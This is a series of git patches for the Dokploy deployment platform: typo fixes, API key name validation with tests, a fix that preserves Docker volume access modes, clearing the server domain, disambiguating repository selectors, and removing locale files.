From 12d3f1871cf44e4fb2d8a7bd0249b21020c08a32 Mon Sep 17 00:00:00 2001 From: Evan Schleret Date: Sun, 12 Jul 2026 03:13:52 +0200 Subject: [PATCH 01/55] fix(ui): typos --- .../settings/cluster/registry/handle-registry.tsx | 4 ++-- .../settings/notifications/handle-notifications.tsx | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx b/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx index e22285c73..fc8cc8a7f 100644 --- a/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx +++ b/apps/dokploy/components/dashboard/settings/cluster/registry/handle-registry.tsx @@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => { - Add a external registry + Add an external registry - Fill the next fields to add a external registry. + Fill in the following fields to add an external registry. {(isError || testRegistryIsError || testRegistryByIdIsError) && ( diff --git a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx index 55ed51aa1..c2e249c2d 100644 --- a/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx +++ b/apps/dokploy/components/dashboard/settings/notifications/handle-notifications.tsx @@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
App Deploy - Trigger the action when a app is deployed. + Trigger the action when an app is deployed.
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
Dokploy Backup - Trigger the action when a dokploy backup is created. + Trigger the action when a Dokploy backup is created.
@@ -1932,7 +1932,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
Docker Cleanup - Trigger the action when the docker cleanup is + Trigger the action when Docker cleanup is performed.
@@ -1955,7 +1955,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
Dokploy Restart - Trigger the action when dokploy is restarted. + Trigger the action when Dokploy is restarted.
From f577778667ec40242060ca29d86c5fbdfcabd31f Mon Sep 17 00:00:00 2001 From: tanaymishra Date: Sun, 12 Jul 2026 17:42:28 +0530 Subject: [PATCH 02/55] fix: validate API key name length to prevent opaque 500 API key names longer than 32 characters were rejected by better-auth with a 400 that surfaced as an opaque INTERNAL_SERVER_ERROR (the generic "Failed to generate API key" toast). Add a shared name schema (min 1, max 32, matching better-auth's default maximumNameLength) used by both the tRPC input and the client form, and surface the limit on the Name field so users see it before submitting. Fixes #4798 --- .../dokploy/__test__/api/api-key-name.test.ts | 26 +++++++++++++++++++ .../dashboard/settings/api/add-api-key.tsx | 12 +++++++-- apps/dokploy/lib/api-keys.ts | 23 ++++++++++++++++ apps/dokploy/server/api/routers/user.ts | 3 ++- 4 files changed, 61 insertions(+), 3 deletions(-) create mode 100644 apps/dokploy/__test__/api/api-key-name.test.ts create mode 100644 apps/dokploy/lib/api-keys.ts diff --git a/apps/dokploy/__test__/api/api-key-name.test.ts b/apps/dokploy/__test__/api/api-key-name.test.ts new file mode 100644 index 000000000..677a52757 --- /dev/null +++ b/apps/dokploy/__test__/api/api-key-name.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, it } from "vitest"; +import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys"; + +describe("apiKeyNameSchema", () => { + it("rejects an empty name", () => { + const result = apiKeyNameSchema.safeParse(""); + expect(result.success).toBe(false); + }); + + it("accepts a name at the maximum length", () => { + const name = "a".repeat(API_KEY_NAME_MAX_LENGTH); + const result = apiKeyNameSchema.safeParse(name); + expect(result.success).toBe(true); + }); + + it("rejects a name over the maximum length instead of passing it to better-auth", () => { + const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1); + const result = apiKeyNameSchema.safeParse(name); + expect(result.success).toBe(false); + if (!result.success) { + expect(result.error.issues[0]?.message).toBe( + `Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`, + ); + } + }); +}); diff --git a/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx b/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx index c6db49b5d..ece17421a 100644 --- a/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx +++ b/apps/dokploy/components/dashboard/settings/api/add-api-key.tsx @@ -32,10 +32,11 @@ import { SelectValue, } from "@/components/ui/select"; import { Switch } from "@/components/ui/switch"; +import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys"; import { api } from "@/utils/api"; const formSchema = z.object({ - name: z.string().min(1, "Name is required"), + name: apiKeyNameSchema, prefix: z.string().optional(), expiresIn: z.number().nullable(), organizationId: z.string().min(1, "Organization is required"), @@ -159,8 +160,15 @@ export const AddApiKey = () => { Name - + + + Maximum {API_KEY_NAME_MAX_LENGTH} characters + )} diff --git a/apps/dokploy/lib/api-keys.ts b/apps/dokploy/lib/api-keys.ts new file mode 100644 index 000000000..b64e3e0a9 --- /dev/null +++ b/apps/dokploy/lib/api-keys.ts @@ -0,0 +1,23 @@ +import { z } from "zod"; + +/** + * Maximum length allowed for an API key name. + * + * This mirrors the default `maximumNameLength` enforced by the + * `@better-auth/api-key` plugin. Names longer than this are rejected by + * better-auth with a 400, so we validate against it up front to surface a + * clear field-level error instead of an opaque 500. + */ +export const API_KEY_NAME_MAX_LENGTH = 32; + +/** + * Shared validation for an API key name, used by both the tRPC input schema + * and the client form so the two can't drift. + */ +export const apiKeyNameSchema = z + .string() + .min(1, "Name is required") + .max( + API_KEY_NAME_MAX_LENGTH, + `Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`, + ); diff --git a/apps/dokploy/server/api/routers/user.ts b/apps/dokploy/server/api/routers/user.ts index 583014ff6..b4782b1d2 100644 --- a/apps/dokploy/server/api/routers/user.ts +++ b/apps/dokploy/server/api/routers/user.ts @@ -35,6 +35,7 @@ import { TRPCError } from "@trpc/server"; import * as bcrypt from "bcrypt"; import { and, asc, eq, gt, ne } from "drizzle-orm"; import { z } from "zod"; +import { apiKeyNameSchema } from "@/lib/api-keys"; import { audit } from "@/server/api/utils/audit"; import { adminProcedure, @@ -45,7 +46,7 @@ import { } from "../trpc"; const apiCreateApiKey = z.object({ - name: z.string().min(1), + name: apiKeyNameSchema, prefix: z.string().optional(), expiresIn: z.number().optional(), metadata: z.object({ From bc22d05f8dcc9f338e64c795cbee75989e8dc6e9 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Tue, 14 Jul 2026 11:34:46 -0600 Subject: [PATCH 03/55] fix(compose): preserve named-volume access mode when adding suffix The randomize/isolated-deployment volume transform split mount strings on ':' and kept only the first two segments, so an access mode like :ro, :z or :Z was silently dropped and read-only mounts became read-write. Keep the full path+mode remainder when rebuilding the mount string. Fixes #4818 --- .../compose/volume/volume-services.test.ts | 33 +++++++++++++++++++ .../server/src/utils/docker/compose/volume.ts | 9 +++-- 2 files changed, 39 insertions(+), 3 deletions(-) diff --git a/apps/dokploy/__test__/compose/volume/volume-services.test.ts b/apps/dokploy/__test__/compose/volume/volume-services.test.ts index a42ab5fa9..8213404bb 100644 --- a/apps/dokploy/__test__/compose/volume/volume-services.test.ts +++ b/apps/dokploy/__test__/compose/volume/volume-services.test.ts @@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => { ); }); +const composeFileAccessMode = ` +version: "3.8" + +services: + web: + image: nginx:alpine + volumes: + - web_config:/etc/nginx/conf.d:ro + - certs/sub:/etc/certs:Z +`; + +test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => { + const composeData = parse(composeFileAccessMode) as ComposeSpecification; + + const suffix = generateRandomHash(); + + if (!composeData.services) { + return; + } + + const updatedComposeData = addSuffixToVolumesInServices( + composeData.services, + suffix, + ); + + expect(updatedComposeData.web?.volumes).toContain( + `web_config-${suffix}:/etc/nginx/conf.d:ro`, + ); + expect(updatedComposeData.web?.volumes).toContain( + `certs-${suffix}/sub:/etc/certs:Z`, + ); +}); + const composeFileTypeVolume = ` version: "3.8" diff --git a/packages/server/src/utils/docker/compose/volume.ts b/packages/server/src/utils/docker/compose/volume.ts index be4c7b206..6708758cb 100644 --- a/packages/server/src/utils/docker/compose/volume.ts +++ b/packages/server/src/utils/docker/compose/volume.ts @@ -26,11 +26,14 @@ export const addSuffixToVolumesInServices = ( if (_.has(newServiceConfig, "volumes")) { newServiceConfig.volumes = _.map(newServiceConfig.volumes, (volume) => { if (_.isString(volume)) { - const [volumeName, path] = volume.split(":"); + // remainder is the container path plus optional access mode (:ro, :z, :Z) + const [volumeName, ...pathAndMode] = volume.split(":"); + const remainder = pathAndMode.join(":"); // skip bind mounts and variables (e.g. $PWD) if ( !volumeName || + !remainder || volumeName.startsWith(".") || volumeName.startsWith("/") || volumeName.startsWith("$") @@ -43,10 +46,10 @@ export const addSuffixToVolumesInServices = ( if (parts.length > 1) { const baseName = parts[0]; const rest = parts.slice(1).join("/"); - return `${baseName}-${suffix}/${rest}:${path}`; + return `${baseName}-${suffix}/${rest}:${remainder}`; } - return `${volumeName}-${suffix}:${path}`; + return `${volumeName}-${suffix}:${remainder}`; } if (_.isObject(volume) && volume.type === "volume" && volume.source) { return { From d5dd35c8f89f74507a730f3077c630ebf5a66f5b Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Tue, 14 Jul 2026 11:39:30 -0600 Subject: [PATCH 04/55] fix(settings): allow clearing the server domain The Server Domain form rejected an empty value ('Invalid domain name'), making domain assignment a one-way operation. The backend already removes the Traefik router and clears the host when it receives an empty host, so only the client-side validation blocked removal. Allow an empty domain to clear it, and skip the https/letsencrypt requirements when the domain is being removed. Fixes #4821 --- apps/dokploy/components/dashboard/settings/web-domain.tsx | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/apps/dokploy/components/dashboard/settings/web-domain.tsx b/apps/dokploy/components/dashboard/settings/web-domain.tsx index 4f543a1be..187bbb452 100644 --- a/apps/dokploy/components/dashboard/settings/web-domain.tsx +++ b/apps/dokploy/components/dashboard/settings/web-domain.tsx @@ -43,7 +43,8 @@ const addServerDomain = z .string() .trim() .toLowerCase() - .refine((val) => VALID_HOSTNAME_REGEX.test(val), { + // empty clears the server domain and reverts to IP-only access + .refine((val) => val === "" || VALID_HOSTNAME_REGEX.test(val), { message: INVALID_HOSTNAME_MESSAGE, }), letsEncryptEmail: z.string(), @@ -51,7 +52,7 @@ const addServerDomain = z certificateType: z.enum(["letsencrypt", "none", "custom"]), }) .superRefine((data, ctx) => { - if (data.https && !data.certificateType) { + if (data.domain && data.https && !data.certificateType) { ctx.addIssue({ code: z.ZodIssueCode.custom, path: ["certificateType"], @@ -59,6 +60,7 @@ const addServerDomain = z }); } if ( + data.domain && data.https && data.certificateType === "letsencrypt" && !data.letsEncryptEmail From de62aff0fb6119c845ff4e4462ff012ffc8983b6 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Tue, 14 Jul 2026 11:42:31 -0600 Subject: [PATCH 05/55] fix(ui): disambiguate repos with the same name in the repository selector The repository CommandItem used the repo name as its cmdk value and the check icon compared only names, so two repos with the same name in different owners/orgs showed the selected checkmark and hover on both entries. Key the item by owner/name and include the owner in the selected comparison. GitLab already keyed by URL and is unaffected. Fixes #4793 --- .../general/generic/save-bitbucket-provider.tsx | 9 ++++++--- .../application/general/generic/save-gitea-provider.tsx | 9 ++++++--- .../application/general/generic/save-github-provider.tsx | 9 ++++++--- .../general/generic/save-bitbucket-provider-compose.tsx | 9 ++++++--- .../general/generic/save-gitea-provider-compose.tsx | 9 ++++++--- .../general/generic/save-github-provider-compose.tsx | 9 ++++++--- 6 files changed, 36 insertions(+), 18 deletions(-) diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx index 2b0ae3f62..fdedc6425 100644 --- a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx +++ b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx @@ -256,7 +256,9 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => { : isLoadingRepositories ? "Loading...." : (repositories?.find( - (repo) => repo.name === field.value.repo, + (repo) => + repo.name === field.value.repo && + repo.owner.username === field.value.owner, )?.name ?? "Select repository")} @@ -283,7 +285,7 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => { {repositories?.map((repo) => ( { form.setValue("repository", { @@ -303,7 +305,8 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => { { ? "Loading...." : (repositories?.find( (repo: GiteaRepository) => - repo.name === field.value.repo, + repo.name === field.value.repo && + repo.owner.username === field.value.owner, )?.name ?? "Select repository")} @@ -303,7 +304,7 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => { {repositories?.map((repo: GiteaRepository) => { return ( { form.setValue("repository", { @@ -322,7 +323,9 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => { { : isLoadingRepositories ? "Loading...." : (repositories?.find( - (repo) => repo.name === field.value.repo, + (repo) => + repo.name === field.value.repo && + repo.owner.login === field.value.owner, )?.name ?? field.value.repo)} @@ -279,7 +281,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => { {repositories?.map((repo) => ( { form.setValue("repository", { @@ -298,7 +300,8 @@ export const SaveGithubProvider = ({ applicationId }: Props) => { { : isLoadingRepositories ? "Loading...." : (repositories?.find( - (repo) => repo.name === field.value.repo, + (repo) => + repo.name === field.value.repo && + repo.owner.username === field.value.owner, )?.name ?? "Select repository")} @@ -285,7 +287,7 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => { {repositories?.map((repo) => ( { form.setValue("repository", { @@ -305,7 +307,8 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => { { : isLoadingRepositories ? "Loading...." : (repositories?.find( - (repo) => repo.name === field.value.repo, + (repo) => + repo.name === field.value.repo && + repo.owner.username === field.value.owner, )?.name ?? "Select repository")} @@ -282,7 +284,7 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => { {repositories?.map((repo) => ( { form.setValue("repository", { owner: repo.owner.username, @@ -300,7 +302,8 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => { { : isLoadingRepositories ? "Loading...." : (repositories?.find( - (repo) => repo.name === field.value.repo, + (repo) => + repo.name === field.value.repo && + repo.owner.login === field.value.owner, )?.name ?? field.value.repo)} @@ -272,7 +274,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => { {repositories?.map((repo) => ( { form.setValue("repository", { @@ -291,7 +293,8 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => { Date: Tue, 14 Jul 2026 15:16:56 -0600 Subject: [PATCH 06/55] refactor(ui): improve repository and branch display in popovers Updated the PopoverContent components across various provider files to ensure consistent width and padding. Enhanced the display of repository and branch names by adding truncation to prevent overflow in the UI. This change applies to Bitbucket, Gitea, GitHub, and GitLab provider components, as well as their respective compose components. --- .../generic/save-bitbucket-provider.tsx | 16 ++++++++++----- .../general/generic/save-gitea-provider.tsx | 18 ++++++++++++----- .../general/generic/save-github-provider.tsx | 16 ++++++++++----- .../general/generic/save-gitlab-provider.tsx | 18 ++++++++++++----- .../save-bitbucket-provider-compose.tsx | 16 ++++++++++----- .../generic/save-gitea-provider-compose.tsx | 20 +++++++++++++------ .../generic/save-github-provider-compose.tsx | 16 ++++++++++----- .../generic/save-gitlab-provider-compose.tsx | 18 ++++++++++++----- apps/dokploy/components/ui/command.tsx | 6 ++++-- apps/dokploy/components/ui/select.tsx | 4 ++-- 10 files changed, 103 insertions(+), 45 deletions(-) diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx index fdedc6425..bc3bd5efc 100644 --- a/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx +++ b/apps/dokploy/components/dashboard/application/general/generic/save-bitbucket-provider.tsx @@ -265,7 +265,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => { - + { form.setValue("branch", ""); }} > - - {repo.name} + + {repo.name} {repo.owner.username} @@ -353,7 +356,10 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
- + { form.setValue("branch", branch.name); }} > - {branch.name} + {branch.name} {
- + { form.setValue("branch", ""); }} > - - {repo.name} + + + {repo.name} + {repo.owner.username} @@ -374,7 +379,10 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => { - + { form.setValue("branch", branch.name); }} > - {branch.name} + {branch.name} { - + { form.setValue("branch", ""); }} > - - {repo.name} + + {repo.name} {repo.owner.login} @@ -348,7 +351,10 @@ export const SaveGithubProvider = ({ applicationId }: Props) => { - + { form.setValue("branch", branch.name); }} > - {branch.name} + {branch.name} { - + { form.setValue("branch", ""); }} > - - {repo.name} + + + {repo.name} + {repo.owner.username} @@ -368,7 +373,10 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => { - + { form.setValue("branch", branch.name); }} > - {branch.name} + {branch.name} { - + { form.setValue("branch", ""); }} > - - {repo.name} + + {repo.name} {repo.owner.username} @@ -355,7 +358,10 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => { - + { form.setValue("branch", branch.name); }} > - {branch.name} + {branch.name} { - + { form.setValue("branch", ""); }} > - - {repo.name} + + {repo.name} {repo.owner.username} @@ -351,7 +354,10 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => { - + { form.setValue("branch", branch.name) } > - - {branch.name} + + + {branch.name} + { - + { form.setValue("branch", ""); }} > - - {repo.name} + + {repo.name} {repo.owner.login} @@ -341,7 +344,10 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => { - + { form.setValue("branch", branch.name); }} > - {branch.name} + {branch.name} { - + { form.setValue("branch", ""); }} > - - {repo.name} + + + {repo.name} + {repo.owner.username} @@ -370,7 +375,10 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => { - + { form.setValue("branch", branch.name); }} > - {branch.name} + {branch.name} {children} - + {"data-checked" in props && ( + + )} ); } diff --git a/apps/dokploy/components/ui/select.tsx b/apps/dokploy/components/ui/select.tsx index a78df1b44..e4c7518bd 100644 --- a/apps/dokploy/components/ui/select.tsx +++ b/apps/dokploy/components/ui/select.tsx @@ -80,7 +80,7 @@ function SelectContent({ @@ -114,7 +114,7 @@ function SelectItem({ Date: Sat, 18 Jul 2026 21:04:25 +0530 Subject: [PATCH 07/55] fix: rename compose "Reload" action to "Rebuild" Renames the compose "Reload" action to "Rebuild" to accurately reflect its actual behavior. Clicking "Reload" triggers rebuildCompose() which executes a full Docker build (docker compose up -d --build). Also updates dialog text, toast notifications, and tooltips accordingly. Fixes #4666 --- .../dashboard/compose/general/actions.tsx | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/apps/dokploy/components/dashboard/compose/general/actions.tsx b/apps/dokploy/components/dashboard/compose/general/actions.tsx index c2b984b39..a4cffd864 100644 --- a/apps/dokploy/components/dashboard/compose/general/actions.tsx +++ b/apps/dokploy/components/dashboard/compose/general/actions.tsx @@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => { )} {canDeploy && ( { await redeploy({ composeId: composeId, }) .then(() => { - toast.success("Compose reloaded successfully"); + toast.success("Compose rebuilt successfully"); refetch(); }) .catch(() => { - toast.error("Error reloading compose"); + toast.error("Error rebuilding compose"); }); }} > @@ -109,12 +109,14 @@ export const ComposeActions = ({ composeId }: Props) => {
- Reload + Rebuild
-

Reload the compose without rebuilding it

+

+ Rebuilds the compose without downloading the source code +

From 74811073f64818e2c26f1b380339853f6c5bc473 Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Sun, 19 Jul 2026 20:11:20 -0600 Subject: [PATCH 08/55] Remove unused localization files for various languages in the Dokploy application, including common and settings JSON files for Azerbaijani, German, English, Spanish, Persian, French, Indonesian, Italian, Japanese, Korean, Kazakh, Malayalam, Dutch, Norwegian, and Polish. This cleanup helps streamline the localization process by eliminating empty files. --- apps/dokploy/public/locales/az/common.json | 1 - apps/dokploy/public/locales/az/settings.json | 58 -------------- apps/dokploy/public/locales/de/common.json | 1 - apps/dokploy/public/locales/de/settings.json | 44 ----------- apps/dokploy/public/locales/en/common.json | 1 - apps/dokploy/public/locales/en/settings.json | 58 -------------- apps/dokploy/public/locales/es/common.json | 1 - apps/dokploy/public/locales/es/settings.json | 52 ------------- apps/dokploy/public/locales/fa/common.json | 1 - apps/dokploy/public/locales/fa/settings.json | 44 ----------- apps/dokploy/public/locales/fr/common.json | 1 - apps/dokploy/public/locales/fr/settings.json | 44 ----------- apps/dokploy/public/locales/id/common.json | 1 - apps/dokploy/public/locales/id/settings.json | 58 -------------- apps/dokploy/public/locales/it/common.json | 1 - apps/dokploy/public/locales/it/settings.json | 44 ----------- apps/dokploy/public/locales/ja/common.json | 1 - apps/dokploy/public/locales/ja/settings.json | 44 ----------- apps/dokploy/public/locales/ko/common.json | 1 - apps/dokploy/public/locales/ko/settings.json | 44 ----------- apps/dokploy/public/locales/kz/common.json | 1 - apps/dokploy/public/locales/kz/settings.json | 41 ---------- apps/dokploy/public/locales/ml/common.json | 1 - apps/dokploy/public/locales/ml/settings.json | 58 -------------- apps/dokploy/public/locales/nl/common.json | 1 - apps/dokploy/public/locales/nl/settings.json | 58 -------------- apps/dokploy/public/locales/no/common.json | 1 - apps/dokploy/public/locales/no/settings.json | 52 ------------- apps/dokploy/public/locales/pl/common.json | 1 - apps/dokploy/public/locales/pl/settings.json | 58 -------------- apps/dokploy/public/locales/pt-br/common.json | 1 - .../public/locales/pt-br/settings.json | 44 ----------- apps/dokploy/public/locales/ru/common.json | 1 - apps/dokploy/public/locales/ru/settings.json | 58 -------------- apps/dokploy/public/locales/tr/common.json | 1 - apps/dokploy/public/locales/tr/settings.json | 44 ----------- apps/dokploy/public/locales/uk/common.json | 1 - apps/dokploy/public/locales/uk/settings.json | 58 -------------- .../public/locales/zh-Hans/common.json | 78 ------------------- .../public/locales/zh-Hans/settings.json | 67 ---------------- .../public/locales/zh-Hant/common.json | 1 - .../public/locales/zh-Hant/settings.json | 58 -------------- 42 files changed, 1184 deletions(-) delete mode 100644 apps/dokploy/public/locales/az/common.json delete mode 100644 apps/dokploy/public/locales/az/settings.json delete mode 100644 apps/dokploy/public/locales/de/common.json delete mode 100644 apps/dokploy/public/locales/de/settings.json delete mode 100644 apps/dokploy/public/locales/en/common.json delete mode 100644 apps/dokploy/public/locales/en/settings.json delete mode 100644 apps/dokploy/public/locales/es/common.json delete mode 100644 apps/dokploy/public/locales/es/settings.json delete mode 100644 apps/dokploy/public/locales/fa/common.json delete mode 100644 apps/dokploy/public/locales/fa/settings.json delete mode 100644 apps/dokploy/public/locales/fr/common.json delete mode 100644 apps/dokploy/public/locales/fr/settings.json delete mode 100644 apps/dokploy/public/locales/id/common.json delete mode 100644 apps/dokploy/public/locales/id/settings.json delete mode 100644 apps/dokploy/public/locales/it/common.json delete mode 100644 apps/dokploy/public/locales/it/settings.json delete mode 100644 apps/dokploy/public/locales/ja/common.json delete mode 100644 apps/dokploy/public/locales/ja/settings.json delete mode 100644 apps/dokploy/public/locales/ko/common.json delete mode 100644 apps/dokploy/public/locales/ko/settings.json delete mode 100644 apps/dokploy/public/locales/kz/common.json delete mode 100644 apps/dokploy/public/locales/kz/settings.json delete mode 100644 apps/dokploy/public/locales/ml/common.json delete mode 100644 apps/dokploy/public/locales/ml/settings.json delete mode 100644 apps/dokploy/public/locales/nl/common.json delete mode 100644 apps/dokploy/public/locales/nl/settings.json delete mode 100644 apps/dokploy/public/locales/no/common.json delete mode 100644 apps/dokploy/public/locales/no/settings.json delete mode 100644 apps/dokploy/public/locales/pl/common.json delete mode 100644 apps/dokploy/public/locales/pl/settings.json delete mode 100644 apps/dokploy/public/locales/pt-br/common.json delete mode 100644 apps/dokploy/public/locales/pt-br/settings.json delete mode 100644 apps/dokploy/public/locales/ru/common.json delete mode 100644 apps/dokploy/public/locales/ru/settings.json delete mode 100644 apps/dokploy/public/locales/tr/common.json delete mode 100644 apps/dokploy/public/locales/tr/settings.json delete mode 100644 apps/dokploy/public/locales/uk/common.json delete mode 100644 apps/dokploy/public/locales/uk/settings.json delete mode 100644 apps/dokploy/public/locales/zh-Hans/common.json delete mode 100644 apps/dokploy/public/locales/zh-Hans/settings.json delete mode 100644 apps/dokploy/public/locales/zh-Hant/common.json delete mode 100644 apps/dokploy/public/locales/zh-Hant/settings.json diff --git a/apps/dokploy/public/locales/az/common.json b/apps/dokploy/public/locales/az/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/az/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/az/settings.json b/apps/dokploy/public/locales/az/settings.json deleted file mode 100644 index fb286bf04..000000000 --- a/apps/dokploy/public/locales/az/settings.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "settings.common.save": "Yadda saxla", - "settings.common.enterTerminal": "Terminala daxil ol", - "settings.server.domain.title": "Server Domeni", - "settings.server.domain.description": "Server tətbiqinizə domen əlavə edin.", - "settings.server.domain.form.domain": "Domen", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-poçtu", - "settings.server.domain.form.certificate.label": "Sertifikat Təminatçısı", - "settings.server.domain.form.certificate.placeholder": "Sertifikat seçin", - "settings.server.domain.form.certificateOptions.none": "Heç biri", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt", - - "settings.server.webServer.title": "Veb Server", - "settings.server.webServer.description": "Veb serveri yenidən yüklə və ya təmizlə.", - "settings.server.webServer.actions": "Əməliyyatlar", - "settings.server.webServer.reload": "Yenidən yüklə", - "settings.server.webServer.watchLogs": "Logları izlə", - "settings.server.webServer.updateServerIp": "Server IP-ni Yenilə", - "settings.server.webServer.server.label": "Server", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Mühiti Dəyişdir", - "settings.server.webServer.traefik.managePorts": "Əlavə Port Təyinatları", - "settings.server.webServer.traefik.managePortsDescription": "Traefik üçün əlavə portlar əlavə edin və ya silin", - "settings.server.webServer.traefik.targetPort": "Hədəf Port", - "settings.server.webServer.traefik.publishedPort": "Dərc Edilmiş Port", - "settings.server.webServer.traefik.addPort": "Port Əlavə Et", - "settings.server.webServer.traefik.portsUpdated": "Portlar uğurla yeniləndi", - "settings.server.webServer.traefik.portsUpdateError": "Portların yenilənməsi uğursuz oldu", - "settings.server.webServer.traefik.publishMode": "Dərc Rejimi", - "settings.server.webServer.storage.label": "Yer", - "settings.server.webServer.storage.cleanUnusedImages": "İstifadə edilməyən şəkilləri təmizlə", - "settings.server.webServer.storage.cleanUnusedVolumes": "İstifadə edilməyən həcmləri təmizlə", - "settings.server.webServer.storage.cleanStoppedContainers": "Dayandırılmış konteynerləri təmizlə", - "settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder və Sistemi təmizlə", - "settings.server.webServer.storage.cleanMonitoring": "Monitorinqi təmizlə", - "settings.server.webServer.storage.cleanAll": "Hamısını təmizlə", - - "settings.profile.title": "Hesab", - "settings.profile.description": "Profilinizin məlumatlarını buradan dəyişin.", - "settings.profile.email": "E-poçt", - "settings.profile.password": "Şifrə", - "settings.profile.avatar": "Avatar", - - "settings.appearance.title": "Görünüş", - "settings.appearance.description": "İdarəetmə panelinizin görünüşünü fərdiləşdirin.", - "settings.appearance.theme": "Mövzu", - "settings.appearance.themeDescription": "İdarəetmə paneliniz üçün mövzu seçin", - "settings.appearance.themes.light": "İşıqlı", - "settings.appearance.themes.dark": "Qaranlıq", - "settings.appearance.themes.system": "Sistem", - "settings.appearance.language": "Dil", - "settings.appearance.languageDescription": "İdarəetmə paneliniz üçün dil seçin", - - "settings.terminal.connectionSettings": "Bağlantı parametrləri", - "settings.terminal.ipAddress": "IP Ünvanı", - "settings.terminal.port": "Port", - "settings.terminal.username": "İstifadəçi adı" -} diff --git a/apps/dokploy/public/locales/de/common.json b/apps/dokploy/public/locales/de/common.json deleted file mode 100644 index 0967ef424..000000000 --- a/apps/dokploy/public/locales/de/common.json +++ /dev/null @@ -1 +0,0 @@ -{} diff --git a/apps/dokploy/public/locales/de/settings.json b/apps/dokploy/public/locales/de/settings.json deleted file mode 100644 index e2ba06236..000000000 --- a/apps/dokploy/public/locales/de/settings.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "settings.common.save": "Speichern", - "settings.server.domain.title": "Server-Domain", - "settings.server.domain.description": "Füg eine Domain zu deiner Server-Anwendung hinzu.", - "settings.server.domain.form.domain": "Domain", - "settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-Mail", - "settings.server.domain.form.certificate.label": "Zertifikat", - "settings.server.domain.form.certificate.placeholder": "Wähl ein Zertifikat aus", - "settings.server.domain.form.certificateOptions.none": "Keins", - "settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Standard)", - - "settings.server.webServer.title": "Web-Server", - "settings.server.webServer.description": "Lade den Web-Server neu oder reinige ihn.", - "settings.server.webServer.actions": "Aktionen", - "settings.server.webServer.reload": "Neu laden", - "settings.server.webServer.watchLogs": "Logs anschauen", - "settings.server.webServer.updateServerIp": "Server-IP Aktualisieren", - "settings.server.webServer.server.label": "Server", - "settings.server.webServer.traefik.label": "Traefik", - "settings.server.webServer.traefik.modifyEnv": "Umgebungsvariablen ändern", - "settings.server.webServer.storage.label": "Speicherplatz", - "settings.server.webServer.storage.cleanUnusedImages": "Nicht genutzte Bilder löschen", - "settings.server.webServer.storage.cleanUnusedVolumes": "Nicht genutzte Volumes löschen", - "settings.server.webServer.storage.cleanStoppedContainers": "Gestoppte Container löschen", - "settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & System bereinigen", - 